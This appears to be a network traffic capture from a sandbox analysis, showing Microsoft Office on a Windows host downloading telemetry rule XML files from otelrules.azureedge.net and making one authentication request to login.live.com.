2024-10-29 01:46:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:37 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 57ce5cde-c01e-000b-111a-28e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014637Z-15b8d89586f8nxpt6ys645x5v0000000072g00000000a7bk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:37 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:37 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: e1e6f089-901e-005b-1e15-262005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014637Z-15b8d89586fbmg6qpd9yf8zhm000000000ug00000000640w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:37 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:37 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:37 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ab726c5d-b01e-0098-175a-26cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014637Z-17c5cb586f6wnfhvhw6gvetfh4000000059g000000009km3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:37 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49853	40.126.32.74	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:37 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-29 01:46:37 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 01:46:37 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 01:45:37 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.5 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C525_SN1 x-ms-request-id: ceb6ad65-e98d-444b-9ef9-95a38d38d027 PPServer: PPV: 30 H: SN1PEPF0002F16C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 01:46:37 GMT Connection: close Content-Length: 11392
2024-10-29 01:46:37 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:37 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:38 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014638Z-16849878b785dznd7xpawq9gcn000000075g00000000mxkg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:38 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:37 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 1e165ab9-d01e-007a-4b95-27f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014638Z-r197bdfb6b48pl4k4a912hk2g400000005500000000008eg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:37 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:38 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 0c0bb0c5-d01e-007a-4187-29f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014638Z-17c5cb586f6gkqkwd0x1ge8t04000000067000000000cv6h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:38 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:37 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:38 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:38 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014638Z-15b8d89586fnsf5zkvx8tfb0zc00000001000000000091dz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:38 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:37 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:38 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014638Z-16849878b78j7llf5vkyvvcehs00000006zg00000000737w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:38 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:38 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 2fe3f320-d01e-0065-1a0d-29b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014638Z-r197bdfb6b46krmwag4tzr9x7c00000005h000000000kywh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:38 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:38 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014638Z-16849878b785jrf8dn0d2rczaw0000000730000000003qzc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:38 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:38 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
